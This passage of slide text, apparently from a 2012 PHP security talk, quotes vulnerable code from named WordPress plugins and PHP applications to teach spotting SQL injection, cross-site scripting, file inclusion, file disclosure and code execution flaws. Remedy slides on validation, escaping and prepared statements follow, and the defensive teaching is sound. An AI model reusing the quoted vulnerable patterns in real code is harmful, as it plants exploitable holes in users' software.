  • 19. AdRotate Plugin for WordPress <= v3.6.6 Spot SQL injection (5) (EDB-ID: 18114, CVE: 2011-4671, if(isset($_GET['track']) OR $_GET['track'] != '') { OSVDB-ID: 77507) $meta = base64_decode($_GET['track']); ... list($ad, $group, $block) = explode("-", $meta); ... $bannerurl = $wpdb->get_var($wpdb- >prepare("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;")); ... } October 13th, 2012 19
  • 20. WP Bannerize Plugin for WordPress <= v2.8.7 Spot SQL injection (6) (EDB-ID: 17906, OSVDB-ID: 76658) if (@isset($_SERVER['HTTP_X_REQUESTED_WITH'])) { ... $limit = intval($_POST['limit']); $page_offset = (intval($_POST['offset']) - 1) * $limit; foreach($_POST["item"] as $key => $value){ $sql = sprintf("UPDATE `%s` SET `sorter` = %s WHERE id = %s", $wpdb->prefix ."bannerize_b", (intval($key)+$page_offset), $value); $result = mysql_query($sql); } } October 13th, 2012 20
  • 21. Spot cross-site scripting (1) (EDB-ID: 11017, OSVDB-ID: 61594) PHPDug <= v2.0.0 $page = new HtmlTemplate("templates/" . $config['tpl_name'] . "/index.html"); ... $page->SetParameter('UPCOMING_LINK', $config['site_url'].'upcoming.php?id='.$_GET['id']); $page->SetParameter('POPULAR_LINK', $config['site_url'].'index.php'); ... $page->CreatePageEcho($lang,$config); October 13th, 2012 21
  • 22. Spot cross-site scripting (2) function _wp_comment_row($comment_id, $mode, (EDB-ID: 9250, CVE: 2009-2851, $comment_status, $checkbox = true, $from_ajax = WordPress <= v2.8.1 false) { OSVDB-ID: 56193) $comment = get_comment($comment_id); ... $author_url = get_comment_author_url(); ... $author_url_display = $author_url; ... echo "<a title='$author_url' href= '$author_url'>$author_url_display</a><br/>"; ... } ... foreach ($comments as $comment) _wp_comment_row($comment->comment_ID, $mode, $comment_status); October 13th, 2012 22
  • 23. Spot cross-site scripting (3) damianov.net Shoutbox <= v1.0 $handle = fopen($shoutsFile,"a"); $toWrite="n".stripslashes($_POST["txtNick"]) . "|" . $_POST["txtEmail"] . "|" . stripslashes($_POST["txtShout"]); (EDB-ID: 12593) fwrite($handle, $toWrite); fclose($handle); ... $lines = array_reverse(file($shoutsFile)); foreach ($lines as $line_num => $line) { $info = explode("|", $line, 3); if ((is_email($info[1])) && $displayEmails) $info[0] = "<a href='mailto:" . $info[1] . "'>" . $info[0] . "</a>"; echo "<div style='$fontStyle'><b>$info[0]</b> : " . ($allowHTML ? $info[2] : strip_tags($info[2])) . "</div>n"; // CVE-2004-0595 (strip_tags() bypass) } October 13th, 2012 23
  • 24. Spot file inclusion (1) (EDB-ID: 15166, OSVDB-ID: 68300) Zen Cart <= v1.3.9f $typefilter = 'default'; if (isset($_GET['typefilter'])) $typefilter = $_GET['typefilter']; require(DIR_WS_INCLUDES . zen_get_index_filters_directory($typefilter . '_filter.php')); October 13th, 2012 24
  • 25. Spot file inclusion (2) (EDB-ID: 19550, OSVDB-ID: 83700) if (isset($_POST['lang']) && preg_replace("#.*/#","", phpMyBackupPro <= v2.2 $_SERVER['PHP_SELF'])=="config.php" $CONF['lang']=$_POST['lang']; if (!isset($CONF['lang'])) $CONF['lang']="english"; if (!file_exists($prepath.PMBP_LANGUAGE_DIR. $CONF['lang'].".inc.php")) include_once($prepath.PMBP_LANGUAGE_DIR . "english.inc.php"); else include($prepath.PMBP_LANGUAGE_DIR . $CONF['lang'].".inc.php"); October 13th, 2012 25
  • 26. Relocate Upload Plugin for WordPress <= Spot file inclusion (3) (EDB-ID: 17869, CVE: 2012-1205, OSVDB-ID: 79250) if (isset($_GET['ru_folder'])) { v0.14 define('WP_USE_THEMES', false); require_once(urldecode($_GET['abspath']) . '/wp-load.php'); ... } October 13th, 2012 26
  • 27. Spot file disclosure (1) ISPworker <= v1.23 (EDB-ID: 10262) header('Content-type: ' . $_REQUEST[type]); header('Content-Disposition: attachment; filename="' . $_REQUEST[filename] . '"'); readfile("./tmp/$ticketid" . "_" . $_REQUEST[filename]); October 13th, 2012 27
  • 28. PICA Photo Gallery Plugin for WordPress <= Spot file disclosure (2) (EDB-ID: 19016, OSVDB-ID: 82702) $timg = $imgname = $_REQUEST['imgname']; $pluginName = 'pica-photo-gallery'; $file = dirname(dirname(dirname(__FILE__))) . "/uploads/" . $pluginName . "/" . $timg; header('Content-Description: File Transfer'); v1.0 header('Content-Type: application/octet-stream'); ... header('Content-Length: ' . filesize($file)); ob_clean(); flush(); readfile($file); October 13th, 2012 28
  • 29. Spot remote code execution (1) (EDB-ID: 18775, CVE: 2012-1495, $file = '../includes/settings.php'; ... WebCalendar <= v1.2.4 $settings['single_user_login'] = getPostValue OSVDB-ID: 81329) ('form_single_user_login'); ... $fd = @fopen ($file, 'w+b', false); ... fwrite ($fd, "<?phprn"); fwrite ($fd, '/* updated via install/index.php on ' . date ('r') . "rn"); foreach ($settings as $k => $v) { if ($v != '<br />' && $v != '') fwrite ($fd, $k . ': ' . $v . "rn"); } October 13th, 2012 29
  • 30. Spot remote code execution (2) Ajax File and Image Manager <= v1.0 (EDB-ID: 18075, CVE: 2011-4825, @ob_start(); displayArray($_POST); writeInfo(@ob_get_clean()); OSVDB-ID: 76928) ... function writeInfo($data, $die = false) { $fp = @fopen(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'data.php', 'w+'); @fwrite($fp, $data); @fwrite($fp, "nn" . date('d/M/Y H:i:s')); @fclose($fp); ... } October 13th, 2012 30
  • 31. Remedies (1)  Data validation Process of ensuring that application is running with correct data Discard if it doesn’t pass the validation process if (!preg_match('/^(?d{3})?[-s.]?d{3}[-s.]d{4}$/', $phone)) { echo "Your phone number is invalid"; die(); } October 13th, 2012 31
  • 32. Remedies (2)  Data sanitization Removing any unwanted bits from the data and normalizing it to the correct form $comment = strip_tags($_POST['comment']); ... $id = intval($_GET['id']); ... $username = preg_replace('/[^a-zA-Z0-9._]/', '', $_REQUEST['username']); ... $query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'", mysql_real_escape_string($user), mysql_real_escape_string($password)); October 13th, 2012 32
  • 33. Remedies (3)  Output escaping Protecting integrity of displayed data Prevents browser from applying any unintended meaning to any special sequence of characters that may be found Always escape output provided by users! echo "You searched for: " . htmlspecialchars($_GET["query"], ENT_QUOTES); October 13th, 2012 33
  • 34. Remedies (4)  Safe communication with a database Prepared statements use one channel for commands and another one for data (which never allows commands) $db = new PDO('dblib:host=localhost; dbname=testdb; charset=UTF-8', $user, $pass); $query = 'SELECT * FROM users WHERE id = :id'; $stmt = $db->prepare($query); $stmt->bindValue(':id', $_REQUEST['id']); $stmt->execute(); while($row = $stmt->fetch(PDO::FETCH_ASSOC)) { ... October 13th, 2012 34
  • 35. Questions? October 13th, 2012 35